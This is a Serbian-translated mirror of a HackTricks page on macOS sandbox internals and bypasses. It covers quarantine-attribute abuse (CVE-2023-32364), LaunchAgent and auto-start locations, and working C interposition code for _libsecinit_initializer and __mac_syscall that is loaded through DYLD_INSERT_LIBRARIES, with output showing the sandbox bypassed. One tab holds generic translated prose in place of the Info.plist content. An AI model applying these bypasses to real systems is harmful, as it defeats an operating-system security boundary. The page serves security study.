mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00

History

Translator workflow 6c06826974 Translated to Serbian		2024-02-10 13:11:20 +00:00
..
macos-office-sandbox-bypasses.md	Translated to Serbian	2024-02-10 13:11:20 +00:00
README.md	Translated to Serbian	2024-02-10 13:11:20 +00:00

README.md

macOS Sandbox Debug & Bypass

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako želite da vidite vašu kompaniju reklamiranu u HackTricks-u ili preuzmete HackTricks u PDF formatu Proverite SUBSCRIPTION PLANS!
Nabavite zvanični PEASS & HackTricks swag
Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Proces učitavanja Sandbox-a

Slika sa http://newosxbook.com/files/HITSB.pdf

Na prethodnoj slici je moguće videti kako će se učitati sandbox kada se pokrene aplikacija sa privilegijom com.apple.security.app-sandbox.

Kompajler će povezati /usr/lib/libSystem.B.dylib sa binarnom datotekom.

Zatim, libSystem.B će pozivati druge funkcije sve dok xpc_pipe_routine ne pošalje privilegije aplikacije securityd-u. Securityd proverava da li bi proces trebalo da bude karantinovan unutar Sandbox-a, i ako je tako, biće karantinovan.
Na kraju, sandbox će biti aktiviran pozivom funkcije __sandbox_ms koja će pozvati __mac_syscall.

Mogući zaobilaženja

Zaobilaženje karantin atributa

Datoteke kreirane od strane procesa u Sandbox-u dobijaju karantin atribut kako bi se sprečilo izlazak iz Sandbox-a. Međutim, ako uspete da kreirate .app folder bez karantin atributa unutar aplikacije u Sandbox-u, možete postaviti binarnu datoteku aplikacije da pokazuje na /bin/bash i dodati neke okružne promenljive u plist datoteku kako biste zloupotrebili funkcionalnost open i pokrenuli novu aplikaciju bez Sandbox-a.

To je urađeno u CVE-2023-32364.

{% hint style="danger" %} Stoga, trenutno, ako ste u mogućnosti samo da kreirate folder sa imenom koje se završava na .app bez karantin atributa, možete zaobići Sandbox jer macOS samo proverava karantin atribut u .app folderu i u glavnoj izvršnoj datoteci (i mi ćemo postaviti glavnu izvršnu datoteku na /bin/bash).

Imajte na umu da ako je .app paket već autorizovan za pokretanje (ima karantin xttr sa zastavicom za autorizovano pokretanje), takođe ga možete zloupotrebiti... osim što sada ne možete pisati unutar .app paketa osim ako nemate neke privilegovane TCC dozvole (koje nećete imati unutar visokog Sandbox-a). {% endhint %}

Zloupotreba funkcionalnosti Open

U poslednjim primerima zaobilaženja Word Sandbox-a može se primetiti kako se funkcionalnost open može zloupotrebiti za zaobilaženje Sandbox-a.

{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}

Launch Agenti/Demoni

Čak i ako je aplikacija namenjena za Sandbox (com.apple.security.app-sandbox), moguće je zaobići Sandbox ako se izvršava iz LaunchAgent-a (~/Library/LaunchAgents), na primer.
Kao što je objašnjeno u ovom postu, ako želite da postignete postojanost sa aplikacijom koja je u Sandbox-u, možete je automatski izvršiti kao LaunchAgent i možda ubaciti zlonamerni kod putem DyLib okružnih promenljivih.

Zloupotreba lokacija automatskog pokretanja

Ako proces u Sandbox-u može pisati na mestu gde će kasnije biti pokrenuta binarna datoteka bez Sandbox-a, moći će da izađe iz Sandbox-a tako što će tamo postaviti binarnu datoteku. Dobar primer ovakvih lokacija su ~/Library/LaunchAgents ili /System/Library/LaunchDaemons.

Za ovo vam može biti potrebno čak 2 koraka: Da napravite proces sa više dozvola Sandbox-a (file-read*, file-write*) koji će izvršiti vaš kod koji će zapravo pisati na mestu gde će biti izvršen bez Sandbox-a.

Pogledajte ovu stranicu o lokacijama automatskog pokretanja:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Zloupotreba drugih procesa

Ako iz Sandbox procesa uspete da ugrozite druge procese koji se izvršavaju u manje restriktivnim Sandbox-ima (ili bez Sandbox-a), moći ćete da pobegnete u njihove Sandbox-e:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Statičko kompajliranje i dinamičko povezivanje

Ovo istraživanje je otkrilo 2 načina zaobilaženja Sandbox-a. Budući da se Sandbox primenjuje iz userland-a kada se učita biblioteka libSystem. Ako bi binarna datoteka mogla izbeći njeno učitavanje, nikada ne bi bila stavljena u Sandbox:

Ako je binarna datoteka potpuno statički kompajlirana, mogla bi izbeći učitavanje te biblioteke.
Ako binarna datoteka ne bi trebala da učitava bilo koje biblioteke (jer je i linkera u libSystem), neće morati da učitava libSystem.

Shell kodovi

Imajte na umu da čak i shell kodovi na ARM64 moraju biti povezani sa libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Ovlašćenja

Imajte na umu da čak i ako su neke radnje dozvoljene u pesku, ako aplikacija ima određeno ovlašćenje, kao što je:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Interpost Bypass

Za više informacija o Interpostingu pogledajte:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interpostujte `_libsecinit_initializer` da biste sprečili sandbox.

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost `__mac_syscall` da biste sprečili Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debugiranje i zaobilaženje Sandbox-a pomoću lldb-a

Kompajlirajmo aplikaciju koja bi trebala biti sandboxirana:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% tab title="Info.plist" %}

Info.plist

Info.plist je XML datoteka koja sadrži informacije o aplikaciji na macOS platformi. Ova datoteka se koristi za konfigurisanje različitih aspekata aplikacije, uključujući i postavke sandboxa.

U kontekstu sandboxa, Info.plist se koristi za definisanje dozvola koje aplikacija ima unutar sandbox okruženja. Ove dozvole određuju koje resurse aplikacija može pristupiti i koje operacije može izvršiti.

Kada se aplikacija pokrene u sandbox okruženju, macOS koristi Info.plist datoteku da bi odredio koje resurse aplikacija može koristiti. Ako aplikacija pokuša pristupiti resursima koji nisu dozvoljeni u Info.plist datoteci, macOS će sprečiti pristup i aplikacija će biti ograničena na dozvoljene operacije.

Info.plist datoteka se nalazi unutar aplikacijskog paketa i može se uređivati pomoću tekstualnog uređivača ili alata za uređivanje XML-a. Prilikom uređivanja Info.plist datoteke, važno je pažljivo proveriti i ažurirati dozvole kako bi se osiguralo da aplikacija ima samo neophodne privilegije unutar sandbox okruženja.

Uz to, Info.plist datoteka može sadržati i druge informacije o aplikaciji, kao što su verzija, identifikator paketa, ikona aplikacije i drugi metapodaci.

Napomena: Info.plist datoteka je važan deo konfiguracije aplikacije u sandbox okruženju. Uredjivanje ove datoteke može imati značajan uticaj na sigurnost i funkcionalnost aplikacije, stoga je važno biti pažljiv prilikom izmena.

{% endtab %}

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Zatim kompajlirajte aplikaciju:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand